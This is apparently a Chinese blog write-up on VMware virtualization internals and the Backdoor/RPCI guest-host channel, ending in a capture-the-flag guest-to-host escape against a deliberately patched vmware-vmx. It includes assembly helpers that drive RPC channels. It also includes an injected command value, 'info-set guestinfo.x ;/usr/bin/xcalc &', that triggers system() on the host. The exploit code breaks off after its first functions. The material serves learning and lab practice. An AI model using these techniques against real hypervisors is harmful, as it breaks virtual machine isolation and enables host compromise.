X86 架构的虚拟化根据实现方式和是否需要修改 OS ,分为全虚拟化和半虚拟化。Vmware 采用全虚拟化,VMM 向虚拟机模拟出和真实硬件完全相同的硬件环境。VMM 和 guestOS 运行在不同的特权级上当 guest OS 执行相关特权指令时,由于处于非特权的 Ring 环,因此会触发异常,VMM 截获特权指令并进行虚拟化。
传统计算机的指令分为特权指令和非特权指令,且大多有 2 个或以上的运行等级(Ring),用来分隔系统与应用程序。
虚拟化后,GuestOS 不能运行在 Ring 0 上,原本需要在最高级别下执行的指令就不能直接执行,而是交由 VMM 处理执行,这部分指令被称为敏感指令
VMM 将计算机指令分为两类:
敏感指令:与硬件交互的指令,包括控制敏感和行为敏感指令。例如修改页表基址寄存器、软中断等。
非敏感指令:所有其他指令,例如普通的算术运算指令。
为了提高虚拟化的效率,Intel 和 AMD 推出了各自的硬件虚拟化技术: Intel VT ,AMD-V 。
基本思想:
Guest OS 和 VMM 分别有自己的特权级环 Root 模式为根环,Non-root 模式为非根环,VMM 和 Guest OS 分别运行在这两个操作模式的 Ring 0 级(OP,OD)。
Guest OS的应用程序运行在非根环的Ring 3(3D)
这里主要研究的是 Linux 平台的 VMware Workstation 。
VMware 属于主机 os 模型,VMware的虚拟机安装在主机 os 上,由主机 os 来提供良好的设备驱动。
VMware 采用完全虚拟化技术,所以不需要修改原来的操作系统,而且可以同时支持不同的操作系统(开启了IntelVT技术后属于半虚拟化)。
运行虚拟机时,由 vmmon 内核驱动进入 VM Monitor , VM Monitor 运行 VM 虚拟机,负责 VM 的运行、暂停、管理等操作。
vmware-vmx 负责处理 VMM 的 RPC 请求,例如虚拟硬件的模拟,传递给 vmmon。
vmmon驱动负责处理整个请求,并返回给 VMM 。
虚拟机逃逸一般关注于类似 vmware-vmx 这类存在于host os 的用户空间,能与 VM 进行通信的组件程序的漏洞。
VMM 无法获得对硬件资源的完全控制,因此需要使用软件模拟的方法虚拟化 I/O 设备:
例如 VMware 中对网卡、USB 等驱动设备的请求,都是 Guest OS 发出正常的 I/O 请求,被 VMM 捕获后 VMM 通过在 Host OS 中的程序来模拟行为,并将结果返回
给 Guest OS 。
VMware 把 VMM 的层次搭在一个操作系统之上,使用宿主机 os 结构,宿主机 os 一般是 windows 或者 linux ,对于 I/O 的访问就可以使用宿主操作系统中的驱动。如果 VM 上的操作系统要读取虚拟磁盘,VMM 就将它转化为宿主操作系统中读取文件的工作,如果 VM 上的操作系统要对显示设备进行访问,就由操作系统对于 VM 的虚拟显示设备进行操作。
VMM 控制每个 VM 得到多少内存,也必须周期性的换出页面到磁盘,来回收内存。但客户 os 可能比 VMM 有更好的调度算法。
VMware 的 ESX server 使用了一种气球“balloon”进程,气球(balloon)模块作为内核服务程序加载到 guest os 中,通过一个私有的信道与 ESX 服务器通信。
如果要回收内存,则询问 balloon 进程,对其加压,使得气球膨胀在气球膨胀过程中,客户 os 感受到了自己内存的压力,很专业地选出适合换出的页面,并且告诉 balloon ,这个 balloon 再告诉 VMM 换出哪些页面气球放气的过程与气球充气过程相反,guest os 给气球放气,通知 VMM 要重新分配内存。
现代 os 和 app 都比较大。运行多个 VM ,意味着要使用可观的内存来存储不同 VM 中相似的冗余的多份代码、数据的拷贝。VMware 使用基于内容的页面共享来支持服务器。VMM 追踪物理页面的内容,如果发现它们是相同的,那么 VMM 修改 VM 的影子页表来指向一个唯一的拷贝。这样 VMM 就可以降低几余度,节约出内存。
因为使用了 copy on write 的页面共享模式,VMM 在相应页面内容发生改变之前,才为每个 VM 拷贝一份。极大节约了物理内存的使用。
ESX 服务器通过引进空闲内存缴税技术(idle memory tax)解决内存管理。
该技术基本思想就是不活动的客户程序的空闲页面所收的税比活动的客户程序的空闲页要多,当内存感到压力时,优先回收不活动的客户程序的页。税率规定了可能从客户程序回收的空闲页面的最大部分。
大多数操作系统想要保持一个最小的空闲内存的数量。例如 BSDUnix 通常当内存小于 5% 时开始回收内存,直到内存达到 7% 才停止回收内存。ESX 服务器也是这样实现的,但它使用了 4 级回收入口来反应不同的回收状态:
直接执行技术中,VM 的特权指令和非特权指令都在 CPU 的非特权模式下而VMM在特权模式下运行。当 VM 试着执行特权操作时,CPU 捕捉异常 trap 到 VMM ,并使 VM 中特权操作与 VMM 控制时一样。这种方式让 VMM 得到对 CPU 的最大控制。
例如 VMM 处理一条关中断指令。如果让客户 os 可执行关中断是不安全的,如果这样 VMM 就无法重新获得 CPU 控制权。所以其做法是,VMM 捕捉客户的关中断操作,并且记录相应的 VM 已经关中断。VMM 只是延时发送中断结果,直到特定的 VM 开中断为止。
二进制翻译(BT)是从一种指令集到另一种指令集的自动代码转换。
进制翻译可以分为动态翻译和静态翻译,可以仅翻译用户级代码也可以进行整系统翻译。静态翻译是在脱机过程中进行翻译工作,然后在运行时执行翻译过的代码。动态二进制翻译是在程序运行期间把代码片段从旧指令集翻译到目标指令集。
为了提供一种快速、兼容的 x86 虚拟化 VMware 研发出一种新的虚拟化技术,这种技术将传统的直接执行、快速进制翻译结合。在现代 os 中,运行普通 app 程序的处理器模式都是可虚拟化的,于是可以使用直接执行方式。一个二进制翻译器可以运行不可虚拟化的特权模式,使用不可虚拟化的 x86 指令集合。这种 VM 可以与硬件匹配,也可以保持软件兼容性。
VMware 的二进制译码源、目标指令集集合相同,比较简单。在进制翻译器的控制下运行特权指令代码。译码器把内核码翻译成相似的块,使得翻译后的模块直接在 CPU 上运行,代替敏感的指令。二进制翻译系统把已经翻译的块缓存到 trace cache ,这样在后续执行时就无需重复翻译了。
二进制翻译虽然要花费代价,但是其工作负荷可以忽略。译码器只运行代码的一个片段,当 trace cache 热身后,其执行速度与直接执行几乎无异。
二进制翻译可以减少 trap 捕捉带来的开销,是直接执行的优化方法。
VMware 实现了多种虚拟机与宿主机之间的通信方式。其中一种方式是通过一个叫做 Backdoor 的接口,这种方式的设计很有趣,guest 只需在用户态就可以通过该接口发送命令。在 open-vm-tools
中 Backdoor 的具体实现如下:
/*
*----------------------------------------------------------------------------
*
* Backdoor_InOut --
*
* Send a low-bandwidth basic request (16 bytes) to vmware, and return its
* reply (24 bytes).
*
* Results:
* Host-side response returned in bp IN/OUT parameter.
*
* Side effects:
* Pokes the backdoor.
*
*----------------------------------------------------------------------------
*/
void
Backdoor_InOut(Backdoor_proto *myBp) // IN/OUT
{
uint32 dummy;
__asm__ __volatile__(
#ifdef __PIC__
"pushl %%ebx" "\n\t"
#endif
"pushl %%eax" "\n\t"
"movl 20(%%eax), %%edi" "\n\t"
"movl 16(%%eax), %%esi" "\n\t"
"movl 12(%%eax), %%edx" "\n\t"
"movl 8(%%eax), %%ecx" "\n\t"
"movl 4(%%eax), %%ebx" "\n\t"
"movl (%%eax), %%eax" "\n\t"
"inl %%dx, %%eax" "\n\t"
"xchgl %%eax, (%%esp)" "\n\t"
"movl %%edi, 20(%%eax)" "\n\t"
"movl %%esi, 16(%%eax)" "\n\t"
"movl %%edx, 12(%%eax)" "\n\t"
"movl %%ecx, 8(%%eax)" "\n\t"
"movl %%ebx, 4(%%eax)" "\n\t"
"popl (%%eax)" "\n\t"
#ifdef __PIC__
"popl %%ebx" "\n\t"
#endif
: "=a" (dummy)
: "0" (myBp)
/*
* vmware can modify the whole VM state without the compiler knowing
* it. So far it does not modify EFLAGS. --hpreg
*/
:
#ifndef __PIC__
"ebx",
#endif
"ecx", "edx", "esi", "edi", "memory"
);
}
/*
* If you want to add a new low-level backdoor call for a guest userland
* application, please consider using the GuestRpc mechanism instead.
*/
#define BDOOR_MAGIC 0x564D5868
/* Low-bandwidth backdoor port number for the IN/OUT interface. */
#define BDOOR_PORT 0x5658
/* High-bandwidth backdoor port. */
#define BDOORHB_PORT 0x5659
typedef union {
struct {
DECLARE_REG_NAMED_STRUCT(ax);
size_t size; /* Register bx. */
DECLARE_REG_NAMED_STRUCT(cx);
DECLARE_REG_NAMED_STRUCT(dx);
DECLARE_REG_NAMED_STRUCT(si);
DECLARE_REG_NAMED_STRUCT(di);
} in;
struct {
DECLARE_REG_NAMED_STRUCT(ax);
DECLARE_REG_NAMED_STRUCT(bx);
DECLARE_REG_NAMED_STRUCT(cx);
DECLARE_REG_NAMED_STRUCT(dx);
DECLARE_REG_NAMED_STRUCT(si);
DECLARE_REG_NAMED_STRUCT(di);
} out;
} Backdoor_proto;
void
Backdoor(Backdoor_proto *myBp) // IN/OUT
{
BackdoorInterface interface = BackdoorGetInterface();
myBp->in.ax.word = BDOOR_MAGIC;
switch (interface) {
case BACKDOOR_INTERFACE_IO:
myBp->in.dx.halfs.low = BDOOR_PORT;
break;
...
}
switch (interface) {
case BACKDOOR_INTERFACE_IO:
Backdoor_InOut(myBp);
break;
...
}
}
其中 Backdoor_proto
中的宏 DECLARE_REG_NAMED_STRUCT
定义如下:
声明位置: backdoor_types.h
定义:
#define DECLARE_REG_NAMED_STRUCT(_r) \
union { DECLARE_REG_STRUCT; } _r
替换:
union {
struct {
uint16 low;
uint16 high;
} halfs;
uint32 word;
struct {
uint32 low;
uint32 high;
} words;
uint64 quad;
} cx
上面的代码中出现了一个很奇怪的指令 inl 。在通常环境下(例如 Linux 下默认的 I/O 权限设置),用户态程序是无法执行 I/O 指令的,因为这条指令只会让用户态程序出错并产生崩溃。而此处这条指令产生的权限错误会被 host 上的 hypervisor 捕捉,从而实现通信。
Backdoor 所引入的这种从 guest 上的用户态程序直接和 host 通信的能力,带来了一个有趣的攻击面,这个攻击面正好满足攻击必须从 guest 的非管理员帐号发起,并实现在 host 操作系统中执行任意代码”。
guest 将 0x564D5868 存入 $eax,I/O端口号 0x5658 或 0x5659 存储在 $dx 中,分别对应低带宽和高带宽通信。其它寄存器被用于传递参数,例如 $ecx 的低 16 位被用来存储命令号。对于 RPCI 通信,命令号会被设为 BDOOR_CMD_MESSAGE
(=30)。文件 lib/include/backdoor_def.h
中包含了一些支持的 backdoor 命令列表。host 捕捉到错误后,会读取命令号并分发至相应的处理函数。
例如 Message_OpenAllocated
函数:
#define BDOOR_CMD_MESSAGE 30
#define MESSAGE_STATUS_SUCCESS 0x0001
Bool
Message_OpenAllocated(uint32 proto, Message_Channel *chan,
char *receiveBuffer, size_t receiveBufferSize)
{
uint32 flags;
Backdoor_proto bp;
flags = GUESTMSG_FLAG_COOKIE;
retry:
/* IN: Type */
bp.in.cx.halfs.high = MESSAGE_TYPE_OPEN;
/* IN: Magic number of the protocol and flags */
bp.in.size = proto | flags;
bp.in.cx.halfs.low = BDOOR_CMD_MESSAGE;
Backdoor(&bp);
/* OUT: Status */
if ((bp.in.cx.halfs.high & MESSAGE_STATUS_SUCCESS) == 0) {
if (flags) {
/* Cookies not supported. Fall back to no cookie. --hpreg */
flags = 0;
goto retry;
}
MESSAGE_LOG("Message: Unable to open a communication channel\n");
return FALSE;
}
/* OUT: Id and cookie */
chan->id = bp.in.dx.halfs.high;
chan->cookieHigh = bp.out.si.word;
chan->cookieLow = bp.out.di.word;
/* Initialize the channel */
chan->in = (unsigned char *)receiveBuffer;
chan->inAlloc = receiveBufferSize;
ASSERT((receiveBuffer == NULL) == (receiveBufferSize == 0));
chan->inPreallocated = receiveBuffer != NULL;
return TRUE;
}
VMware RPCI(Remote Procedure Call Interface)是一种远程过程调用接口,用于在 VMware 虚拟化环境中实现虚拟机和管理程序之间的通信。
RPCI 是基于前面提到的 Backdoor 机制实现的。依赖这个机制,guest 能够向 host 发送请求来完成某些操作,例如,拖放(Drag n Drop)/复制粘贴(Copy Paste)操作、发送或获取信息等等。
RPCI请求的格式非常简单:<命令> <参数>
。例如RPCI请求 info-get guestinfo.ip
可以用来获取 guest 的 IP 地址。对于每个RPCI命令,在 vmware-vmx 进程中都有相关注册和处理操作。 并且客户机的普通用户可以调用。
vmware-tool 或 open-vm-tools 提供了 rpctool 用来和API交互:
sky123@ubuntu:~$ vmware-rpctool 'info-get guestinfo.ip'
172.16.74.129
VMware 内部在 0x5658 端口上提供了一个接口作为“后门”。通过这个端口,虚拟机可以通过 I/O 指令来和主机进行通信。
guest 通过寄存器传递一个 VMware 可识别的魔数,VMware 会自动解析附加的参数。I/O 指令通常都是特权指令,但这个“后门”接口是个例外。
当执行一个后门I/O指令时,VMware 会进行一系列的判断,判断该 I/O 指令是否来自拥有特权的虚拟机。
在这个“后门”接口的上层,VMware 使用了 RPC 服务在主机和客户机之间交换数据。
在客户机端, vmware-tools 执行“后门”命令的同时,使用了 RPC 服务。这就是为什么之后在安装了 vmware-tools 的客户机上,才能使用像拖放文件这样的功能。
内核驱动和用户空间功能的结合利用实现了这一功能。在最初的“后门”接口中只能通过寄存器来传递数据,面临大量数据的传输时,速度会变得很慢。为了解决这个问题,VMware 引入了另一个端口(0x5659)来实现高带宽的“后门”。实际上这个端口是被 RPC 使用。在这一端口上,通过传递一个数据指针,vmware-vmx不用重复的调用 IN 指令,而是直接调用 read/write API 就可以完成数据的传输。
RPC 通信机制如下图所示:
使用 backdoor 传输 RPC 指令需要经过如下步骤。
+------------------+
| Open RPC channel |
+---------+--------+
|
+------------v-----------+
| Send RPC command length|
+------------+-----------+
|
+------------v-----------+
| Send RPC command data |
+------------+-----------+
|
+-------------v------------+
| Recieve RPC reply length |
+-------------+------------+
|
+------------v-----------+
| Receive RPC reply data |
+------------+-----------+
|
+--------------v-------------+
| Finish receiving RPC reply |
+--------------+-------------+
|
+---------v---------+
| Close RPC channel |
+-------------------+
在 RpcOutSendOneRawWork
函数中就体现了这一过程,RpcOutSendOneRawWork
函数的作用是将一段原始的数据打包为消息并通过 VMware 的 RPC 协议发送给另一台虚拟机或者宿主机,该函数主要调用了三个函数:
RpcOut_startWithReceiveBuffer
:最终调用 Message_OpenAllocated
函数执行 MESSAGE_TYPE_OPEN
过程。RpcOut_send
:最终调用了 Message_Send
和 Message_Receive
两个函数。
Message_Send
:先执行 MESSAGE_TYPE_SENDSIZE
过程发送消息长度,然后循环进行 MESSAGE_TYPE_SENDPAYLOAD
过程直到把消息发送完。Message_Receive
:先执行 MESSAGE_TYPE_RECVSIZE
过程获取接收消息长度,然后循环执行 MESSAGE_TYPE_RECVPAYLOAD
过程直到把消息接收完。RpcOut_stop
:最终调用 Message_CloseAllocated
函数执行 MESSAGE_TYPE_CLOSE
过程。RPC subcommand:00h
调用IN(OUT)前,需要设置的寄存器内容:
EAX = 564D5868h - magic number
EBX = 49435052h - RPC open magic number ('RPCI')
ECX(HI) = 0000h - subcommand number
ECX(LO) = 001Eh - command number
EDX(LO) = 5658h - port number
返回值:
ECX = 00010000h: success / 00000000h: failure
EDX(HI) = RPC channel number
该功能用于打开 RPC 的 channel ,其中 ECX 会返回是否成功,EDX 返回值会返回一个 channel 的编号,在后续的 RPC 通信中,将使用该编号。这里需要注意的是,在单个虚拟机中只能同时使用 8 个 channel(#0 - #7),当尝试打开第 9 个 channel 的时候,会检查其他 channel 的打开时间,如果时间过了某一个值,会将超时的 channel 关闭,再把这个 channel 的编号返回;如果都没有超时,create channel 会失败。
为了防止进程扰乱 RPC 的交互,建立一个通道时, VMware 会生产两个 cookie 值,用它们来发送和接受数据。
我们可以使用如下函数实现 Open RPC channel 的过程:
void channel_open(int *cookie1, int *cookie2, int *channel_num, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%rdi,%%r10\n\t"
"movq %%rsi,%%r11\n\t"
"movq %%rdx,%%r12\n\t"
"movq %%rcx,%%r13\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0xc9435052,%%ebx\n\t"
"movl $0x1e,%%ecx\n\t"
"movl $0x5658,%%edx\n\t"
"out %%eax,%%dx\n\t"
"movl %%edi,(%%r10)\n\t"
"movl %%esi,(%%r11)\n\t"
"movl %%edx,(%%r12)\n\t"
"movl %%ecx,(%%r13)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r8", "%r10", "%r11", "%r12", "%r13");
}
RPC subcommand:01h
调用:
EAX = 564D5868h - magic number
EBX = command length (not including the terminating NULL)
ECX(HI) = 0001h - subcommand number
ECX(LO) = 001Eh - command number
EDX(HI) = channel number
EDX(LO) = 5658h - port number
返回值:
ECX = 00810000h: success / 00000000h: failure
在发送 RPC command 前,需要先发送 RPC command 的长度,需要注意的是,此时我们输入的 channel number 所指向的 channel 必须处于已经 open 的状态。 ECX 会返回是否成功发送。具体实现如下:
void channel_set_len(int cookie1, int cookie2, int channel_num, int len, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%r8,%%r10\n\t"
"movl %%ecx,%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0001001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}
RPC subcommand:02h
调用:
EAX = 564D5868h - magic number
EBX = 4 bytes from the command data (the first byte in LSB)
ECX(HI) = 0002h - subcommand number
ECX(LO) = 001Eh - command number
EDX(HI) = channel number
EDX(LO) = 5658h - port number
返回值:
ECX = 000010000h: success / 00000000h: failure
该功能必须在 Send RPC command length 后使用,每次只能发送 4 个字节。例如,如果要发送命令machine.id.get
,那么必须要调用 4 次,分别为:
EBX set to 6863616Dh ("mach")
EBX set to 2E656E69h ("ine.")
EBX set to 672E6469h ("id.g")
EBX set to 00007465h ("et\x00\x00")
ECX 会返回是否成功,具体实现如下:
void channel_send_data(int cookie1, int cookie2, int channel_num, int len, char *data, int *res) {
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $0,%%r12\n\t"
"1:\n\t"
"movq %%r8,%%rbp\n\t"
"add %%r12,%%rbp\n\t"
"movl (%%rbp),%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0002001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"addq $4,%%r12\n\t"
"cmpq %%r12,%%r11\n\t"
"ja 1b\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}
RPC subcommand:03h
调用:
EAX = 564D5868h - magic number
ECX(HI) = 0003h - subcommand number
ECX(LO) = 001Eh - command number
EDX(HI) = channel number
EDX(LO) = 5658h - port number
返回值:
EBX = reply length (not including the terminating NULL)
ECX = 00830000h: success / 00000000h: failure
接收 RPC reply 的长度。需要注意的是所有的 RPC command 都会返回至少 2 个字节的 reply 的数据,其中 1 表示 success ,0 表示 failure ,即使 VMware 无法识别 RPC command ,也会返回 0 Unknown command 作为 reply 。也就是说,reply 数据的前两个字节始终表示 RPC command 命令的状态。
void channel_recv_reply_len(int cookie1, int cookie2, int channel_num, int *len, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%r8,%%r10\n\t"
"movq %%rcx,%%r11\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0003001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
"movl %%ebx,(%%r11)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11");
}
RPC subcommand:04h
调用:
EAX = 564D5868h - magic number
EBX = reply type from subcommand 03h
ECX(HI) = 0004h - subcommand number
ECX(LO) = 001Eh - command number
EDX(HI) = channel number
EDX(LO) = 5658h - port number
返回:
EBX = 4 bytes from the reply data (the first byte in LSB)
ECX = 00010000h: success / 00000000h: failure
EBX 中存放的值是 reply type ,他决定了执行的路径。和发送数据一样,每次只能够接受 4 个字节的数据。需要注意的是,我们在 Recieve RPC reply length 中提到过,应答数据的前两个字节始终表示 RPC command 的状态。举例说明,如果我们使用 RPC command 询问 machine.id.get ,如果成功的话,会返回 1
void channel_recv_data(int cookie1, int cookie2, int channel_num, int offset, char *data, int *res) {
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0004001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"in %%dx,%%eax\n\t"
"add %%r11,%%rbp\n\t"
"movl %%ebx,(%%rbp)\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}
RPC subcommand:05h
调用:
EAX = 564D5868h - magic number
EBX = reply type from subcommand 03h
ECX(HI) = 0005h - subcommand number
ECX(LO) = 001Eh - command number
EDX(HI) = channel number
EDX(LO) = 5658h - port number
返回:
ECX = 00010000h: success / 00000000h: failure
和前文所述一样,在 EBX 中存储的是 reply type 。在接收完 reply 的数据后,调用此命令。如果没有通过 Receive RPC reply data 接收完整个 reply 数据的话,就会返回 failure 。
void channel_recv_finish(int cookie1, int cookie2, int channel_num, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movq $0x1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0005001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}
RPC subcommand:06h
调用:
EAX = 564D5868h - magic number
ECX(HI) = 0006h - subcommand number
ECX(LO) = 001Eh - command number
EDX(HI) = channel number
EDX(LO) = 5658h - port number
返回:
ECX = 00010000h: success / 00000000h: failure
关闭channel。
void channel_close(int cookie1, int cookie2, int channel_num, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0006001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}
这里我们在 linux 平台上进行 vmware 逃逸。
一般题目会提供 vmware 版本和 patch 过的 vmware-vmx
二进制文件,这就需要我们能够找到对应版本的 vmware 安装脚本。
我们首先需要再 VMware Workstation Pro 下载页面中选择大致版本
之后选择 linux 版本的下载链接。
然后进一步选择具体版本然后点击下载即可。
一般来说即使找不到完全一致的版本,下载相近版本其实也是可以的,毕竟只要能让 vmware-vmx
跑起来就可以。
由于这里使用的 vmware 版本较老,因此为了确保能把 vmmon
和 vmnet
两个驱动能装上,这里我们选择 ubuntu 18.04.1 的系统来安装 vmware 。
另外如果驱动实在装不上可以找这个驱动项目下载下来然后手动编译安装。我在高版本的 ubuntu 18.04 上就存在这个问题。
下载这个项目
git clone https://github.com/mkubecek/vmware-host-modules.git
根据安装的 vmware 版本切换到对应版本上,这里 w15.5.0
中的 w
是 VMware Workstation
的意思。
cd vmware-host-modules
git checkout w15.5.0
之后分别编译两个驱动并安装即可。注意选择 gcc 版本,否则容易编译失败。
cd vmmon-only
make
cd ../vmnet-only
make
cd ..
insmod vmmon.o
insmod vmnat.o
然而这里对于高版本 ubuntu 18.04 来说 w15.5.0 的 vmnat 驱动无法成功编译,因为内核版本过高,因此只能选择 ubuntu 18.04.1 版本来搭建环境。
对于 ubuntu 18.04.1 系统 vmware 可以直接安装启动,不需要在手动编译安装上述驱动(当然编译是可以成功编译的 )。
由于这是在 ubuntu 18.04.1 虚拟机中安装 vmware 然后再在其中安装 ubuntu 18.04.1 虚拟机,存在虚拟机嵌套,最好使用带有英特尔的 CPU 的电脑进行。
在装好 ubuntu 18.04.1 虚拟之后将下载的 vmware 安装脚本 VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle
复制到虚拟机中,然后允许该脚本安装 vmware。
sudo chmod +x ./VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle
sudo ./VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle
根据题目要求最后我们还要用有漏洞的 vmx_patched 替换原来的 vmx 。
sudo cp vmware-vmx_patched /usr/lib/vmware/bin/vmware-vmx
另外启动虚拟机最好在 show applications 中点击 vmware 图标启动而不是运行下面的命令启动,因为直接运行下面的命令是直接启动 vmware 用户进程,缺少安装驱动的过程,而点击 vmware 图标是运行一个完整的 vmware 启动脚本。
sudo /usr/lib/vmware/bin/vmware
在安装好的 vmware 中安装 ubuntu 18.04.1 。
虚拟机的处理器我勾选了如下选项,否则启动虚拟机的时候会卡在启动界面上。
最终成功安装虚拟机。
安装 net-tools
方便查看虚拟机的网络信息。
sudo apt install net-tools
安装 ssh-server ,因为之后的调试上传都要通过 ssh 进行。如果在调试的时候使用 vmware 自身的拖拽等功能可能会触发断点导致光标卡在被调试的虚拟机中无法取出。
sudo apt install openssh-server
我的被调试虚拟机的 ip 为 172.16.74.129
因此有下面两个常用命令:
获取目标虚拟机 shell 。
ssh [email protected]
上传 exp 至目标虚拟机:
scp exp.c [email protected]:~
这个与环境搭建无关,仅记录编译 open-vm-tools 的过程。
编译 open-vm-tools 过程如下:
git clone https://github.com/vmware/open-vm-tools.git
cd open-vm-tools/open-vm-tools
autoreconf -i
./configure
make
不过运行 configure 会发现缺少很多依赖。
sudo apt-get install autoconf automake libtool
sudo apt-get install libpam0g-dev
sudo apt-get install libssl-dev
sudo apt-get install libxml2-dev
sudo apt-get install libxmlsec1-dev
sudo apt-get install libx11-dev
sudo apt-get install libxext-dev
sudo apt-get install libxinerama-dev
sudo apt-get install libxi-dev
sudo apt-get install libxrender-dev
sudo apt-get install libxrandr-dev
sudo apt-get install libxtst-dev
sudo apt-get install libgdk-pixbuf2.0-dev
sudo apt-get install libgtk-3-dev
sudo apt-get install libgtkmm-3.0-dev
另外 libmspack
需要编译安装。
wget https://www.cabextract.org.uk/libmspack/libmspack-0.10.1alpha.tar.gz
tar zxvf libmspack-0.10.1alpha.tar.gz
cd libmspack-0.10.1alpha
./configure
make
sudo make install
为了让 clion 能正确分析 open-vm-tools 项目,需要做如下配置:
#!/bin/sh
#
# GNU Autotools template, feel free to customize.
#
autoconf -i
./configure
宿主机操作系统:ubuntu 18.04.1
客户机操作系统:ubuntu 18.04.1
VMware 版本:VMware-Workstation-Full-15.0.2-10952284.x86_64.bundle
这里我 VMware 下错版本了,我这里用到是 VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle ,不过影响不大,不想再重新搭环境了 。
bindiff 对比发现 sub_16E220
函数相似度比较低。
通过 bindiff 对比发现存在如下修改,明显是一个后门。
通过对这一部分代码的逆向分析,发现这一步分代码是处理 RPC 通信的代码,调试发现只要依次执行 info-set guestinfo.x xxxx
和 info-get guestinfo.x
RPC 命令就可以执行到 case 4 。
case 4:
v29 = get_cannel(6, 7);
v4 = v29;
if ( !v29 )
goto LABEL_62;
if ( v29->state != 3 )
goto LABEL_20;
if ( v29->flag == 1 )
goto LABEL_48; // stare=1 flag=0
if ( !v29->buf )
goto LABEL_90;
if ( (get_data(3) & 1) == 0 )
{
v5 = v4;
goto LABEL_81;
}
set_data(2, 0x20000);
need = v4->need;
data_1 = (int *)&v4->buf[v4->length - need];
if ( (_DWORD)need == 2 )
{
set_data(3, *(unsigned __int16 *)data_1);
tmp = v4->need - 2;
v4->need = tmp;
}
else if ( (_DWORD)need == 3 )
{
system(v4->buf);
tmp = v4->need - 3;
v4->need = tmp;
}
else
{
if ( (_DWORD)need == 1 )
{
set_data(3, *(unsigned __int8 *)data_1);
tmp = v4->need - 1;
}
else
{
set_data(3, *data_1);
tmp = v4->need - 4;
}
v4->need = tmp;
}
if ( !tmp )
v4->state = 4;
LABEL_31:
v9 = 0x10000;
v4->time = get_time();
goto LABEL_12;
...
LABEL_12:
set_data(1, v9);
return 0LL;
其中 need
表示还未发送数据的长度,在 need >= 4
的时候每次发送 4 字节,最后特判了 need < 4
的情况。而后门函数位于 need == 3
的判断中。
另外通过调试发现 state == 3
出现在 host 向 guest 回复数据的阶段,因此我们需要让 host 向 guest 回复数据长度模 4 余 3 同时 buf
恰好是要执行的命令。
通过调试发现回复数据长度为 info-set guestinfo.x
后面跟的字符串长度加 1,并且执行的命令就是这个字符串(前面拼接了一个字符 1)。
因此我们只需要让 info-set guestinfo.x
后面跟一个模 4 余 2 的命令就可以执行这条命令,例如 info-set guestinfo.x ;/usr/bin/xcalc &
。
#include
#include
#include
#include
#include
void byte_dump(char *desc, void *addr, int len) {
uint8_t *buf8 = (unsigned char *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len; i += 16) {
printf(" %04x", i);
for (int j = 0; j < 16; j++) {
i + j < len ? printf(" %02x", buf8[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 16 && j + i < len; j++) {
printf("%c", isprint(buf8[i + j]) ? buf8[i + j] : '.');
}
puts("");
}
}
void channel_open(int *cookie1, int *cookie2, int *channel_num, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%rdi,%%r10\n\t"
"movq %%rsi,%%r11\n\t"
"movq %%rdx,%%r12\n\t"
"movq %%rcx,%%r13\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0xc9435052,%%ebx\n\t"
"movl $0x1e,%%ecx\n\t"
"movl $0x5658,%%edx\n\t"
"out %%eax,%%dx\n\t"
"movl %%edi,(%%r10)\n\t"
"movl %%esi,(%%r11)\n\t"
"movl %%edx,(%%r12)\n\t"
"movl %%ecx,(%%r13)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r8", "%r10", "%r11", "%r12", "%r13");
}
